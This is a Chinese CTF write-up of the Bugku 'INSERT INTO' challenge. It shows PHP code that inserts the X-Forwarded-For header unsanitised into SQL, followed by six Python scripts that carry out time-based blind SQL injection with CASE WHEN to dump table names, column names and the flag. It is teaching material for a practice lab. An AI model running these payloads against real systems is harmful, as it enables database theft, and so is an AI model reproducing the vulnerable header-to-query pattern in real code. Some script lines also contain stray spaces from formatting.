bugku------INSERT INTO 注入

原创

bugku-Web-INSERT INTO注入(case注入技巧(逗号被过滤的延迟盲注)+延迟注入脚本)


       
       
       
       
  1. flag格式:flag{xxxxxxxxxxxx}
  2. 不如写个Python吧
  3. error_reporting( 0);
  4. function getIp(){
  5. $ip = '';
  6. if( isset($_SERVER[ 'HTTP_X_FORWARDED_FOR'])){
  7. $ip = $_SERVER[ 'HTTP_X_FORWARDED_FOR'];
  8. } else{
  9. $ip = $_SERVER[ 'REMOTE_ADDR'];
  10. }
  11. $ip_arr = explode( ',', $ip);
  12. return $ip_arr[ 0];
  13. }
  14. $host= "localhost";
  15. $user= "";
  16. $pass= "";
  17. $db= "";
  18. $connect = mysql_connect($host, $user, $pass) or die( "Unable to connect");
  19. mysql_select_db($db) or die( "Unable to select database");
  20. $ip = getIp();
  21. echo 'your ip is :'.$ip;
  22. $sql= "insert into client_ip (ip) values ('$ip')";
  23. mysql_query($sql);

很明显,ip由xff头或者Remote-addr得来,然后在insert into语句中对这个ip进行查询,我们可以把注入语句加到这个ip中来进行注入。

尝试了报错盲注,没有回显,也试了bool盲注,发现length(database())的值不管设成多少页面都不报错。

最后就剩延时盲注了,简单判断下库长,发现有延时反应,且可判断出库长为5。

上面代码中的ip是被过滤掉逗号的,所以我们延时盲注时不能用if语句。

只能用case when then代替,其余的部分和if延时盲注一样,下面给出脚本:(mysql不分大小写)

1、爆联合表长(有了库长,且库名可用database()代替,不再爆库名了,想爆可以自己去爆:web15)


   
   
   
   
  1. import requests
  2. dic = '0123456789abcdefghijklmnopqrstuvwxyz_'
  3. url = 'http://123.206.87.240:8002/web15/'
  4. xff = "'+( select case when( substr(( select group_concat(table_name separator '@') from information_schema.tables where table_schema= database()) from { 0} for 1)= '') then sleep( 4) else 1 end) + '1"
  5. for i in range(1, 30):
  6. try:
  7. headers = {'x-forwarded- for ':xff.format(i)}
  8. r = requests.get(url, headers=headers, timeout = 3)
  9. except requests.exceptions.ReadTimeout:
  10. print(i)
  11. break

结果为15,所以联合表长为14

2、爆联合表名


   
   
   
   
  1. import requests
  2. dic = '0123456789abcdefghijklmnopqrstuvwxyz_@'
  3. url = 'http://123.206.87.240:8002/web15/'
  4. xff = "'+( select case when( substr(( select group_concat(table_name) from information_schema.tables where table_schema= database()) from { 0} for 1)= '{1}') then sleep( 4) else 1 end) + '1"
  5. table = ''
  6. for i in range(1, 15):
  7. for j in dic:
  8. try:
  9. headers = {'x-forwarded- for ':xff.format(i, j)}
  10. r = requests.get(url, headers=headers, timeout = 3)
  11. except requests.exceptions.ReadTimeout:
  12. table += j
  13. print(table)
  14. print(table)

结果为:client_ip@flag

3、爆联合列长


   
   
   
   
  1. import requests
  2. dic = '0123456789abcdefghijklmnopqrstuvwxyz_'
  3. url = 'http://123.206.87.240:8002/web15/'
  4. xff = "'+( select case when( substr(( select group_concat(column_name separator '@') from information_schema.columns where table_name= 'flag') from { 0} for 1)= '') then sleep( 4) else 1 end) + '1"
  5. for i in range(1, 30):
  6. try:
  7. headers = {'x-forwarded- for ':xff.format(i)}
  8. r = requests.get(url, headers=headers, timeout = 3)
  9. except requests.exceptions.ReadTimeout:
  10. print(i)
  11. break

得到列长为4

4、爆联合列名


   
   
   
   
  1. import requests
  2. dic = '0123456789abcdefghijklmnopqrstuvwxyz_@'
  3. url = 'http://123.206.87.240:8002/web15/'
  4. xff = "'+( select case when( substr(( select group_concat(column_name separator '@') from information_schema.columns where table_name= 'flag') from { 0} for 1)= '{1}') then sleep( 4) else 1 end) + '1"
  5. column = ''
  6. for i in range(1, 5):
  7. for j in dic:
  8. try:
  9. headers = {'x-forwarded- for ':xff.format(i, j)}
  10. r = requests.get(url, headers=headers, timeout = 3)
  11. except requests.exceptions.ReadTimeout:
  12. column += j
  13. print(column)
  14. print(column)

只有一列,列名为flag。

5、爆内容长度


   
   
   
   
  1. import requests
  2. dic = '0123456789abcdefghijklmnopqrstuvwxyz_'
  3. url = 'http://123.206.87.240:8002/web15/'
  4. xff = "'+( select case when( substr(( select flag from flag) from { 0} for 1)= '') then sleep( 4) else 1 end) + '1"
  5. for i in range(1, 50):
  6. try:
  7. headers = {'x-forwarded- for ':xff.format(i)}
  8. r = requests.get(url, headers=headers, timeout = 3)
  9. print(i)
  10. except requests.exceptions.ReadTimeout:
  11. print(i)
  12. break

得内容长度为32

6、爆内容(即flag)


   
   
   
   
  1. import requests
  2. dic = '0123456789abcdefghijklmnopqrstuvwxyz_'
  3. url = 'http: //123.206.87.240:8002/web15/'
  4. xff = "'+(select case when(substr((select flag from flag) from {0} for 1)='{1}')then sleep(4) else 1 end) + '1"
  5. dump = ''
  6. for i in range( 1, 33):
  7. for j in dic:
  8. try:
  9. headers = {'x-forwarded- for':xff.format(i, j)}
  10. r = requests. get(url, headers=headers, timeout = 3)
  11. except requests.exceptions. ReadTimeout:
  12. dump += j
  13. print( dump)
  14. print( dump)

得出:cdbf14c9551d5be5612f7bb5d2867853

0 个人打赏
文章最后发布于: 2019-03-31 19:05:28

你可能感兴趣的:(CTF,sql注入,Bugku)